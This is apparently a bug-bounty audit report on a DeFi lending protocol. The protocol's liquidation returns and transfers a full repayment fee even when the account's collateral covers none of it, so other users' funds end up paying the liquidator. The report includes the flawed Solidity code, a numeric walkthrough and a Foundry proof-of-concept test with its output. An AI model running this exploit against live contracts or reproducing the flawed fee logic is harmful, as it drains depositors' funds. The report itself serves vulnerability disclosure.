57138 sc critical protocol subsidizes repayment fees during liquidation
Previous58763 sc high accounting is broken when redeem is bypassed due to transmuter balanceNext56347 sc insight burn contains redundant calculations
Was this helpful?
Was this helpful?
function _resolveRepaymentFee(uint256 accountId, uint256 repaidAmountInYield) internal returns (uint256 fee) {
Account storage account = _accounts[accountId];
// calculate repayment fee and deduct from account
fee = repaidAmountInYield * repaymentFee / BPS; // @> Calculate full fee (1%)
account.collateralBalance -= fee > account.collateralBalance ? account.collateralBalance : fee; // @> Deduct only what's available (might be 0)
emit RepaymentFee(accountId, repaidAmountInYield, msg.sender, fee);
return fee; // @> Returns full calculated fee, not actual deducted amount
}TokenUtils.safeTransfer(myt, msg.sender, feeInYield); // @> Transfers full fee from contract balance// Initial state (after price drop):
account.collateralBalance = 100_000e18 MYT (100k alETH worth)
account.earmarked = 90_000e18 alUSD (debt tokens, fully earmarked)
account.debt = 90_000e18 alUSD
// Step 1: _forceRepay(accountId, 90_000e18)
credit = min(90_000e18, 90_000e18) = 90_000e18 alUSD
creditToYield = convertDebtTokensToYield(90_000e18) = 90_000e18 MYT (assuming 1:1)
// @> Cap to available collateral:
creditToYield = min(90_000e18, 100_000e18) = 90_000e18 MYT
account.collateralBalance -= 90_000e18 // @> User's collateral reduced
// account.collateralBalance = 10_000e18 MYT remaining
// Protocol fee (assuming 0 for simplicity):
protocolFeeTotal = 0
// Transfer to transmuter:
TokenUtils.safeTransfer(myt, transmuter, 90_000e18) // @> Sends to transmuter
// Return:
return 90_000e18 // @> Returns repaid amount
// Step 2: Back in _liquidate
repaidAmountInYield = 90_000e18 // @> Receives repaid amount
// After repayment, position becomes severely undercollateralized
// Liquidation occurs, consuming remaining 10_000e18 MYT collateral
// Step 3: _resolveRepaymentFee(accountId, 90_000e18)
fee = 90_000e18 * 100 / 10_000 = 900e18 MYT // @> Calculate 1% fee (900 alETH)
account.collateralBalance -= min(900e18, 0) = 0 // @> Already 0! Nothing deducted!
return 900e18 // @> VULNERABILITY: Returns FULL fee despite deducting 0
// Step 4: Transfer fee to liquidator
TokenUtils.safeTransfer(myt, msg.sender, 900e18) // @> this comes from the protocol/users
// Answer: From the contract's balance (other users' collateral)!
// Summary:
// - User's accounting: 0 deducted for repayment fee
// - Actual transfer: 900e18 MYT (~900 alETH) sent to liquidator
// - Protocol loss: 900e18 MYT (~$2.25M at $2500/ETH) from other users' funds function testRepaymentFee_InsufficientCollateral_PaidFromProtocol() external {
// Setup whale to ensure sufficient liquidity
vm.startPrank(someWhale);
IMockYieldToken(mockStrategyYieldToken).mint(whaleSupply, someWhale);
vm.stopPrank();
// Create a healthy position to keep global collateralization above minimum
vm.startPrank(yetAnotherExternalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount * 2);
alchemist.deposit(depositAmount, yetAnotherExternalUser, 0);
vm.stopPrank();
// User deposits 100,000 alETH worth of collateral
uint256 userDeposit = 100_000e18;
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), userDeposit + 100e18);
alchemist.deposit(userDeposit, address(0xbeef), 0);
uint256 tokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
uint256 mintAmount = alchemist.totalValue(tokenId) * FIXED_POINT_SCALAR / minimumCollateralization;
alchemist.mint(tokenId, mintAmount, address(0xbeef));
vm.stopPrank();
// Create redemption to earmark debt
vm.startPrank(anotherExternalUser);
SafeERC20.safeApprove(address(alToken), address(transmuterLogic), mintAmount);
transmuterLogic.createRedemption(mintAmount);
vm.stopPrank();
// Fast forward to fully earmark
vm.roll(block.number + 5_256_000);
// Drop price to make position severely undercollateralized
uint256 initialVaultSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialVaultSupply);
// Increase supply by 99.9% to drop price drastically
uint256 modifiedVaultSupply = (initialVaultSupply * 9990 / 10_000) + initialVaultSupply;
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(modifiedVaultSupply);
(uint256 collateralBefore,,) = alchemist.getCDP(tokenId);
uint256 alchemistBalanceBefore = IERC20(address(vault)).balanceOf(address(alchemist));
// Liquidate
vm.prank(externalUser);
alchemist.liquidate(tokenId);
(uint256 collateralAfter,,) = alchemist.getCDP(tokenId);
uint256 alchemistBalanceAfter = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 collateralDeducted = collateralBefore - collateralAfter;
uint256 alchemistPaidOut = alchemistBalanceBefore - alchemistBalanceAfter;
uint256 protocolLoss = alchemistPaidOut - collateralDeducted;
console.log("User collateral deducted (alETH):", collateralDeducted / 1e18);
console.log("Alchemist paid out (alETH):", alchemistPaidOut / 1e18);
console.log("Protocol subsidized (alETH):", protocolLoss / 1e18);
// Verify the vulnerability: protocol paid more than user's collateral
assertGt(alchemistPaidOut, collateralDeducted, "Protocol should subsidize the fee");
assertGt(protocolLoss, 0, "There should be a loss from protocol funds");
// With 100k alETH and 1% repayment fee, protocol loses ~1000 alETH (~$2.5M at $2500/ETH)
assertGt(protocolLoss, 900e18, "Protocol loss should be significant");
}User collateral deducted (alETH): 100000
Alchemist paid out (alETH): 101000
Protocol subsidized (alETH): 1000